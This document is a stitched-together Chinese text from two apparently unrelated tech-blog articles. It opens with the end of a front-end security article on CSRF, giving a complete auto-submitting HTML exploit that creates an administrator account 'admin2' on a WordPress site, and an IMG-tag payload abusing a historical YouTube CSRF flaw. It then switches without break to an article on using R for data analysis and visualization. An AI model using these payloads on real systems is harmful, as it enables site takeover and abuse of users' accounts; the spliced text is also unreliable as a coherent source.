那么這個(gè)漏洞實(shí)際上就是攻擊者引導(dǎo)用戶先進(jìn)入目標(biāo)的WordPress,然后點(diǎn)擊其釣魚(yú)站點(diǎn)上的某個(gè)按鈕,該按鈕實(shí)際上是表單提交按鈕,其會(huì)觸發(fā)表單的提交工作,添加某個(gè)具有管理員權(quán)限的用戶,實(shí)現(xiàn)的碼如下:
<html> <body onload="javascript:document.forms[0].submit()"> <H2>CSRF Exploit to add Administrator</H2> <form method="POST" name="form0" action="http://<wordpress_ip>:80/wp-admin/user-new.php"> <input type="hidden" name="action" value="createuser"/> <input type="hidden" name="_wpnonce_create-user" value="<sniffed_value>"/> <input type="hidden" name="_wp_http_referer" value="%2Fwordpress%2Fwp-admin%2Fuser-new.php"/> <input type="hidden" name="user_login" value="admin2"/> <input type="hidden" name="email" value="admin2@admin.com"/> <input type="hidden" name="first_name" value="admin2@admin.com"/> <input type="hidden" name="last_name" value=""/> <input type="hidden" name="url" value=""/> <input type="hidden" name="pass1" value="password"/> <input type="hidden" name="pass2" value="password"/> <input type="hidden" name="role" value="administrator"/> <input type="hidden" name="createuser" value="Add+New+User+"/> </form> </body> </html>
YouTube的CSRF漏洞
2008年,有安全研究人員發(fā)現(xiàn),YouTube上幾乎所有用戶可以操作的動(dòng)作都存在CSRF漏洞。如果攻擊者已經(jīng)將視頻添加到用戶的“Favorites”,那么他就能將他自己添加到用戶的“Friend”或者“Family”列表,以用戶的身份發(fā)送任意的消息,將視頻標(biāo)記為不宜的,自動(dòng)通過(guò)用戶的聯(lián)系人來(lái)共享一個(gè)視頻。例如,要把視頻添加到用戶的“Favorites”,攻擊者只需在任何站點(diǎn)上嵌入如下所示的IMG標(biāo)簽:
<img src="http://youtube.com/watch_ajax?action_add_favorite_playlist=1&video_ id=[VIDEO ID]&playlist_id=&add_to_favorite=1&show=1&button=AddvideoasFavorite"/>
攻擊者也許已經(jīng)利用了該漏洞來(lái)提高視頻的流行度。例如,將一個(gè)視頻添加到足夠多用戶的“Favorites”,YouTube就會(huì)把該視頻作為“Top Favorites”來(lái)顯示。除提高一個(gè)視頻的流行度之外,攻擊者還可以導(dǎo)致用戶在毫不知情的情況下將一個(gè)視頻標(biāo)記為“不宜的”,從而導(dǎo)致YouTube刪除該視頻。
這些攻擊還可能已被用于侵犯用戶隱私。YouTube允許用戶只讓朋友或親屬觀看某些視頻。這些攻擊會(huì)導(dǎo)致攻擊者將其添加為一個(gè)用戶的“Friend”或“Family”列表,這樣他們就能夠訪問(wèn)所有原本只限于好友和親屬表中的用戶觀看的私人的視頻。
攻擊者還可以通過(guò)用戶的所有聯(lián)系人名單(“Friends”、“Family”等等)來(lái)共享一個(gè)視頻,“共享”就意味著發(fā)送一個(gè)視頻的鏈接給他們,當(dāng)然還可以選擇附加消息。這條消息中的鏈接已經(jīng)并不是真正意義上的視頻鏈接,而是一個(gè)具有攻擊性的網(wǎng)站鏈接,用戶很有可能會(huì)點(diǎn)擊這個(gè)鏈接,這便使得該種攻擊能夠進(jìn)行病毒式的傳播。
參考文獻(xiàn)
下期預(yù)告
前端安全系列文章將對(duì)XSS、CSRF、網(wǎng)絡(luò)劫持、Hybrid安全等安全議題展開(kāi)論述。下期我們要討論的是網(wǎng)絡(luò)劫持,敬請(qǐng)期待。
作者簡(jiǎn)介
劉燁,美團(tuán)點(diǎn)評(píng)前端開(kāi)發(fā)工程師,負(fù)責(zé)外賣(mài)用戶端前端業(yè)務(wù)。
歡迎加入美團(tuán)前端安全技術(shù)交流群,跟作者零距離交流。如想進(jìn)群,請(qǐng)加美美同學(xué)的微信(微信號(hào):MTDPtech01),回復(fù):前端安全,美美會(huì)自動(dòng)拉你進(jìn)群。
言
近年來(lái),隨著分布式數(shù)據(jù)處理技術(shù)的不斷革新,Hive、Spark、Kylin、Impala、Presto 等工具不斷推陳出新,對(duì)大數(shù)據(jù)集合的計(jì)算和存儲(chǔ)成為現(xiàn)實(shí),數(shù)據(jù)倉(cāng)庫(kù)/商業(yè)分析部門(mén)日益成為各類企業(yè)和機(jī)構(gòu)的標(biāo)配。在這種背景下,是否能探索和挖掘數(shù)據(jù)價(jià)值,具備精細(xì)化數(shù)據(jù)運(yùn)營(yíng)的能力,就成為判定一個(gè)數(shù)據(jù)團(tuán)隊(duì)成功與否的關(guān)鍵。
在數(shù)據(jù)從后臺(tái)走向前臺(tái)的過(guò)程中,數(shù)據(jù)展示是最后一步關(guān)鍵環(huán)節(jié)。與冰冷的表格展示相比,將數(shù)據(jù)轉(zhuǎn)化成圖表并進(jìn)行適當(dāng)?shù)膬?nèi)容組織,往往能更快速、更直觀的傳遞信息,進(jìn)而更好的提供決策支持。從結(jié)構(gòu)化數(shù)據(jù)到最終的展示,需要通過(guò)一系列的探索和分析過(guò)程去完成產(chǎn)品思路的沉淀,這個(gè)過(guò)程也伴隨著大量的數(shù)據(jù)二次處理。
上述這些場(chǎng)合 R 語(yǔ)言有著獨(dú)特的優(yōu)勢(shì)。本文將基于美團(tuán)到店餐飲技術(shù)部的精細(xì)化數(shù)據(jù)運(yùn)營(yíng)實(shí)踐,介紹 R 在數(shù)據(jù)分析與可視化方面的工程能力,希望能夠拋磚引玉,也歡迎業(yè)界同行給我們提供更多的建議。
數(shù)據(jù)運(yùn)營(yíng)產(chǎn)品分類與 R 的優(yōu)勢(shì)
數(shù)據(jù)運(yùn)營(yíng)產(chǎn)品分類
在企業(yè)數(shù)據(jù)運(yùn)營(yíng)過(guò)程中,考慮使用場(chǎng)景、產(chǎn)品特點(diǎn)、實(shí)施角色以及可利用的工具,大致可以將數(shù)據(jù)運(yùn)營(yíng)需求分為四類,如下表所示:
表一 數(shù)據(jù)運(yùn)營(yíng)需求分類
R 在數(shù)據(jù)運(yùn)營(yíng)上的優(yōu)勢(shì)
如上節(jié)所述,在精細(xì)化數(shù)據(jù)運(yùn)營(yíng)過(guò)程中,經(jīng)常需要使用高度定制的數(shù)據(jù)處理、可視化、分析等手段,這些過(guò)程 Excel、Tableau、企業(yè)級(jí)報(bào)表工具都無(wú)法面面俱到,而恰好是 R 的強(qiáng)項(xiàng)。一般來(lái)說(shuō),R 具備的如下特征,讓其有了“數(shù)據(jù)分析領(lǐng)域的瑞士軍刀”的名號(hào):
對(duì)于以數(shù)據(jù)為中心的應(yīng)用來(lái)說(shuō),Python 和 R 都是不錯(cuò)的選擇,兩門(mén)語(yǔ)言在發(fā)展過(guò)程中也互有借鑒。“越接近統(tǒng)計(jì)研究與數(shù)據(jù)分析,越傾向 R;越接近工程開(kāi)發(fā)工程環(huán)境的人,越傾向 Python”,Python 是一個(gè)全能型“運(yùn)動(dòng)員”,R 則更像是一個(gè)統(tǒng)計(jì)分析領(lǐng)域的“劍客”,“Python 并未建立起一個(gè)能與 CRAN 媲美的巨大的代碼庫(kù),R 在這方面具有絕對(duì)領(lǐng)先優(yōu)勢(shì)。統(tǒng)計(jì)學(xué)并不是 Python 的核心使命”。各技術(shù)網(wǎng)站上有大量“Python VS R ”的討論,感興趣的讀者可以自行了解和作出選擇。
R 的數(shù)據(jù)處理、可視化、可重復(fù)性數(shù)據(jù)分析能力
對(duì)于具備編程能力的分析師或者具備分析能力的開(kāi)發(fā)人員來(lái)說(shuō),在進(jìn)行一系列長(zhǎng)期的數(shù)據(jù)分析工程時(shí),使用 R 既可以滿足“一次開(kāi)發(fā),終身受用”,又可以滿足“調(diào)整靈活,圖形豐富”的要求。下文將分別介紹 R 的數(shù)據(jù)處理能力、可視化能力和可重復(fù)性數(shù)據(jù)分析能力。
數(shù)據(jù)處理
在企業(yè)級(jí)數(shù)據(jù)系統(tǒng)中,數(shù)據(jù)清洗、計(jì)算和整合工作會(huì)通過(guò)數(shù)據(jù)倉(cāng)庫(kù)、Hive、Spark、Kylin 等工具完成。對(duì)于數(shù)據(jù)運(yùn)營(yíng)項(xiàng)目,雖然 R 操作的是結(jié)果數(shù)據(jù)集,但也不能避免需要在查詢層進(jìn)行二次數(shù)據(jù)處理。
在數(shù)據(jù)查詢層,R 生態(tài)現(xiàn)成就存在眾多的組件支持,例如可以通過(guò) RMySQL 包進(jìn)行 MySQL 庫(kù)表的查詢,可以使用 Elastic 包對(duì) Elasticsearch 索引文檔進(jìn)行搜索。對(duì)于 Kylin 等新技術(shù),在 R 生態(tài)的組件支持沒(méi)有跟上時(shí),可以通過(guò)使用 Python、Java 等系統(tǒng)語(yǔ)言進(jìn)行查詢接口封裝,在 R 內(nèi)部使用 rPython、rJava 組件進(jìn)行第三方查詢接口調(diào)用。通過(guò)查詢組件獲取的數(shù)據(jù)一般以 data.frame、list 等類型對(duì)象存在。
另外 R 本身也擁有比較完備的二次數(shù)據(jù)處理能力。例如可以通過(guò) sqldf 使用 sql 對(duì) data.frame 對(duì)象進(jìn)行數(shù)據(jù)處理,可以使用 reshape2 進(jìn)行寬格式和窄格式的轉(zhuǎn)化,可以使用 stringr 完成各種字符串處理,其他如排序、分組處理、缺失值填充等功能,也都具備完善的語(yǔ)言本身和生態(tài)的支持。
數(shù)據(jù)可視化
數(shù)據(jù)可視化是數(shù)據(jù)探索過(guò)程和結(jié)果呈現(xiàn)的關(guān)鍵環(huán)節(jié),而 “R is a free software environment for statistical computing and graphics. ”,繪圖(可視化)系統(tǒng)也是 R 的最大優(yōu)勢(shì)之一。
目前 R 主流支持的有三套可視化系統(tǒng):
實(shí)際數(shù)據(jù)運(yùn)營(yíng)分析過(guò)程中,可以固化常規(guī)的圖表展現(xiàn)和可視化分析過(guò)程,實(shí)現(xiàn)代碼復(fù)用,提高開(kāi)發(fā)效率。下圖是美團(tuán)到店餐飲技術(shù)部數(shù)據(jù)團(tuán)隊(duì)積累的部分可視化組件示例:
基于可視化組件庫(kù),一個(gè)可視化過(guò)程只需要一行代碼即可完成,能極大提升開(kāi)發(fā)效率。上圖中最后的四象限矩陣分析示例圖的代碼如下:
vis_4quadrant(iris, 'Sepal.Length', 'Petal.Length', label = 'Species', tooltip = 'tooltip', title = '', xtitle = '萼片長(zhǎng)度', ytitle = '花瓣長(zhǎng)度', pointSize = 1, annotationSize = 1)
茲再附四象限矩陣分析可視化組件的函數(shù)聲明:
vis_4quadrant <- function(df, x, y,
label = '', tooltip = '', title = '', xtitle = '', ytitle = '',
showLegend = T, jitter = T, centerType = 'mean',
pointShape = 19, pointSize = 5, pointColors = collocatcolors2,
lineSize = 0.4, lineType = 'dashed', lineColor = 'black',
annotationFace = 'sans serif', annotationSize = 5, annotationColor = 'black', annotationDeviationRatio = 15,
gridAnnotationFace = 'sans serif', gridAnnotationSize = 6, gridAnnotationColor = 'black', gridAnnotationAlpha = 0.6,
titleFace = 'sans serif', titleSize = 12, titleColor = 'black',
xyTitleFace = 'sans serif', xyTitleSize = 8, xyTitleColor = 'black',
gridDesc = c('A 區(qū)', 'B 區(qū)', 'C 區(qū)', 'D 區(qū)'), dataMissingInfo = '數(shù)據(jù)不完整', renderType = 'widget') {
# 繪制分組散點(diǎn)圖
#
# Args:
# df: 數(shù)據(jù)框;必要字段;需要進(jìn)行圖形繪制的數(shù)據(jù),至少應(yīng)該有三列
# x: 字符串;必要字段;映射到 X 軸的列名,對(duì)應(yīng) df 的某一列,此列必須是數(shù)值類型或日期類型
# y: 字符串;必要字段;映射到 Y 軸的列名,對(duì)應(yīng) df 的某一列
# label: 字符串;映射到點(diǎn)上的文字注釋
# tooltip: 字符串;映射到點(diǎn)上的懸浮信息
# title: 字符串;標(biāo)題
# xtitle: 字符串;X 軸標(biāo)題
# ytitle: 字符串;Y 軸標(biāo)題
# showLegend: bool;定義分區(qū)圖例是否展示
# jitter: bool;定義是否擾動(dòng)
# centerType: 字符串;定義中心點(diǎn)類型,mean 代表平均值,median 代表中位數(shù)
# pointShape: 整形;定義點(diǎn)型
# pointSize: 數(shù)值;定義點(diǎn)大小
# lineSize: 數(shù)值;定義線寬
# lineType: 字符串;定義線型
# lineColor: 字符串;定義線色
# annotationFace: 字符串;定義注釋字體
# annotationSize: 數(shù)值;定義注釋字體大小
# annotationColor: 字符串;定義注釋字體顏色
# annotationDeviationRatio: 數(shù)值;定義注釋文本向上偏移系數(shù)
# gridAnnotationFace: 字符串;定義網(wǎng)格注釋字體
# gridAnnotationSize: 數(shù)值;定義網(wǎng)格注釋字體大小
# gridAnnotationColor: 字符串;定義網(wǎng)格注釋字體顏色
# gridAnnotationAlpha: 數(shù)值;定義網(wǎng)格注釋文本透明度
# titleFace: 字符串;定義標(biāo)題字體
# titleSize: 數(shù)值;定義標(biāo)題字體大小
# titleColor: 字符串;定義標(biāo)題字體顏色
# xyTitleFace: 字符串;定義 X、Y 軸標(biāo)題字體
# xyTitleSize: 數(shù)值;定義 X、Y 軸標(biāo)題字體大小
# xyTitleColor: 字符串;定義 X、Y 軸標(biāo)題字體顏色
# gridDesc: 長(zhǎng)度為 4 的字符串向量
# dataMissingInfo: 字符串;數(shù)據(jù)問(wèn)題提示文本
# renderType: 字符串;定義渲染結(jié)果類型,widget 對(duì)應(yīng) htmlwidget 組件,html 對(duì)應(yīng) html 內(nèi)容
# 代碼實(shí)現(xiàn)略
}
可重復(fù)性數(shù)據(jù)分析
數(shù)據(jù)運(yùn)營(yíng)分析往往是一個(gè)重復(fù)性的、重人工參與的過(guò)程,最終會(huì)落地一套數(shù)據(jù)分析框架,這套數(shù)據(jù)分析框架適配具體的數(shù)據(jù),用于支持企業(yè)數(shù)據(jù)決策。
RStudio 通過(guò) rmarkdown + knitr 的方式提供了一套基于文學(xué)編程的數(shù)據(jù)分析報(bào)告產(chǎn)出方案,開(kāi)發(fā)者可以將 R 代碼嵌入 Markdown 文檔中執(zhí)行并得到渲染結(jié)果(渲染結(jié)果可以是 HTML、PDF、Word 文檔格式),實(shí)際數(shù)據(jù)分析過(guò)程中,開(kāi)發(fā)者最終能形成一套數(shù)據(jù)分析模版,每次適配不同的數(shù)據(jù),就能產(chǎn)出一份新的數(shù)據(jù)分析報(bào)告。
rmarkdown 本身具備簡(jiǎn)單的頁(yè)面布局能力并可以使用 flexdashboard 進(jìn)行擴(kuò)展,因此這套方案不僅能實(shí)現(xiàn)重復(fù)性分析過(guò)程,還能實(shí)現(xiàn)分析結(jié)果的高度定制化展示,可以使用 HTML、CSS、JavaScript 前端三大件對(duì)數(shù)據(jù)分析報(bào)告進(jìn)行展示和交互的細(xì)節(jié)調(diào)整。最終實(shí)現(xiàn)人力的節(jié)省和數(shù)據(jù)分析結(jié)果的快速、高效產(chǎn)出。
R 服務(wù)化改造
R 服務(wù)化框架
R 本身既是一門(mén)語(yǔ)言、也是一個(gè)跨平臺(tái)的操作環(huán)境,具備強(qiáng)大的數(shù)據(jù)處理、數(shù)據(jù)分析、和數(shù)據(jù)可視化能力。除了在個(gè)人電腦的 Windows/MacOS 環(huán)境中上充當(dāng)個(gè)人統(tǒng)計(jì)分析工具外,也可以運(yùn)行在 Linux 服務(wù)環(huán)境中,因此可以將 R 作為分析展現(xiàn)引擎,外圍通過(guò) Java 等系統(tǒng)開(kāi)發(fā)語(yǔ)言完成緩存、安全檢查、權(quán)限控制等功能,開(kāi)發(fā)企業(yè)報(bào)表系統(tǒng)或數(shù)據(jù)分析(挖掘)框架,而不僅僅只是將 R 作為一個(gè)桌面軟件。
企業(yè)報(bào)表系統(tǒng)或數(shù)據(jù)分析(挖掘)框架設(shè)計(jì)方案如下圖所示:
foreach + doParallel 多核并行方案
作為一門(mén)統(tǒng)計(jì)學(xué)家開(kāi)發(fā)的解釋性語(yǔ)言,R 運(yùn)行的是 CPU 單核上的單線程程序、并且需要將全部數(shù)據(jù)加載到內(nèi)存進(jìn)行處理,因此和 Java、Python 等系統(tǒng)語(yǔ)言相比,計(jì)算性能是 R 的軟肋。對(duì)于大數(shù)據(jù)集合的計(jì)算場(chǎng)景,需要盡量將數(shù)據(jù)計(jì)算部分通過(guò) Hive、Kylin 等分布式計(jì)算引擎完成,盡量讓 R 只處理結(jié)果數(shù)據(jù)集;另外也可以通過(guò) doParallel + foreach 方案,通過(guò)多核并行提升計(jì)算效率,代碼示例如下:
library(doParallel)
library(foreach)
registerDoParallel(cores = detectCores())
vis_process1 <- function() {
# 可視化過(guò)程1 ...
}
vis_process2 <- function() {
# 可視化過(guò)程2 ...
}
data_process1 <- function() {
# 數(shù)據(jù)處理過(guò)程1 ...
}
data_process2 <- function() {
# 數(shù)據(jù)處理過(guò)程2 ...
}
processes <- c('vis_process1', 'vis_process2', 'data_process1', 'data_process2')
process_res <- foreach(i = 1:length(process), .packages = c('magrittr')) %dopar% {
do.call(processes[i], list())
}
vis_process1_res <- process_res[[1]]
vis_process2_res <- process_res[[2]]
data_process1_res <- process_res[[3]]
data_process2_res <- process_res[[4]]
圖形化數(shù)據(jù)報(bào)告渲染性能
在數(shù)據(jù)分析過(guò)程中,R 最重要的是充當(dāng)圖形引擎的角色,因此有必要了解其圖形渲染性能。針對(duì)主流的基于 rmarkdown + flexdashboard 的數(shù)據(jù)分析報(bào)告渲染方案,其性能測(cè)試結(jié)果如下:
系統(tǒng)環(huán)境
測(cè)試方法
測(cè)試結(jié)果
表二 數(shù)據(jù)分析報(bào)告渲染性能測(cè)試
根據(jù)測(cè)試結(jié)果可知:
R 在美團(tuán)數(shù)據(jù)產(chǎn)品中的落地實(shí)踐
美團(tuán)到店餐飲數(shù)據(jù)團(tuán)隊(duì)從 2015 年開(kāi)始逐步將 R 作為數(shù)據(jù)產(chǎn)品的輔助開(kāi)發(fā)語(yǔ)言,截至 2018 年 8 月,已經(jīng)成功應(yīng)用在面向管理層的日周月數(shù)據(jù)報(bào)告、面向數(shù)據(jù)倉(cāng)庫(kù)治理的分析工具、面向內(nèi)部運(yùn)營(yíng)與分析師的數(shù)據(jù) Dashboard、面向大客戶銷售的品牌商家數(shù)據(jù)分析系統(tǒng)等多個(gè)項(xiàng)目中。目前所有的面向部門(mén)內(nèi)部的定制式分析型產(chǎn)品,都首選使用 R 進(jìn)行開(kāi)發(fā)。
另外我們也在逐步沉淀 R 可視化與分析組件、開(kāi)發(fā)基于 R 引擎的配置化 BI 產(chǎn)品開(kāi)發(fā)框架,以期進(jìn)一步降低 R 的使用門(mén)檻、提升 R 的普及范圍。
下圖是美團(tuán)到店餐飲數(shù)據(jù)團(tuán)隊(duì)在數(shù)據(jù)治理過(guò)程中,使用 R 開(kāi)發(fā)的 ETL 間依賴關(guān)系可視化工具:
結(jié)語(yǔ)
綜上所述,R 可以在企業(yè)數(shù)據(jù)運(yùn)營(yíng)實(shí)踐中扮演關(guān)鍵技術(shù)杠桿,但作為一門(mén)面向統(tǒng)計(jì)分析的領(lǐng)域語(yǔ)言,在很長(zhǎng)一段時(shí)間,R 的發(fā)展主要由統(tǒng)計(jì)學(xué)家驅(qū)動(dòng)。隨著近年的數(shù)據(jù)爆發(fā)式增長(zhǎng)與應(yīng)用浪潮,R 得到越來(lái)越多工業(yè)界的支持,譬如微軟收購(gòu)基于 R 的企業(yè)級(jí)數(shù)據(jù)解決方案提供商 Revolution Analytics、在 SQL Server 2016 集成 R、并從 Visual Studio 2015 開(kāi)始正式通過(guò) RTVS 集成了 R 開(kāi)發(fā)環(huán)境,一系列事件標(biāo)志著微軟在數(shù)據(jù)分析領(lǐng)域?qū)?R 的高度重視。
在國(guó)內(nèi),由統(tǒng)計(jì)之都發(fā)起的中國(guó) R 會(huì)議,從 2008 年起已舉辦了 11 屆,推動(dòng)了 R 用戶在國(guó)內(nèi)的發(fā)展壯大。截至 2018 年 8 月,美團(tuán)的 R 開(kāi)發(fā)者大致在 200 人左右。但相比 Java/Python 等系統(tǒng)語(yǔ)言,R 的用戶和應(yīng)用面仍相對(duì)狹窄。
作者撰寫(xiě)本文的目的,也是希望給從事數(shù)據(jù)相關(guān)工作的同學(xué)們一個(gè)新的、更具優(yōu)勢(shì)的可選項(xiàng)。
作者簡(jiǎn)介
喻燦,美團(tuán)到店餐飲技術(shù)部數(shù)據(jù)系統(tǒng)與數(shù)據(jù)產(chǎn)品團(tuán)隊(duì)負(fù)責(zé)人,2015 年加入美團(tuán),長(zhǎng)期從事數(shù)據(jù)平臺(tái)、數(shù)據(jù)倉(cāng)庫(kù)、數(shù)據(jù)應(yīng)用方面的開(kāi)發(fā)工作。從 2013 年開(kāi)始接觸 R,在利用 R 快速滿足業(yè)務(wù)需求和節(jié)省研發(fā)成本上,有一些心得和產(chǎn)出。同時(shí)也在美團(tuán)研發(fā)和商業(yè)分析團(tuán)隊(duì)中積極推動(dòng) R 的發(fā)展。
招聘信息
對(duì)數(shù)據(jù)工程和將數(shù)據(jù)通過(guò)服務(wù)業(yè)務(wù)釋放價(jià)值感興趣的同學(xué),可以發(fā)送簡(jiǎn)歷到 yucan@meituan.com。我們?cè)跀?shù)據(jù)倉(cāng)庫(kù)、數(shù)據(jù)治理、數(shù)據(jù)產(chǎn)品開(kāi)發(fā)框架、數(shù)據(jù)可視化、面向銷售和商家側(cè)的數(shù)據(jù)型創(chuàng)新產(chǎn)品層面,都有很多未知但有意義的領(lǐng)域等你來(lái)開(kāi)拓。
*請(qǐng)認(rèn)真填寫(xiě)需求信息,我們會(huì)在24小時(shí)內(nèi)與您取得聯(lián)系。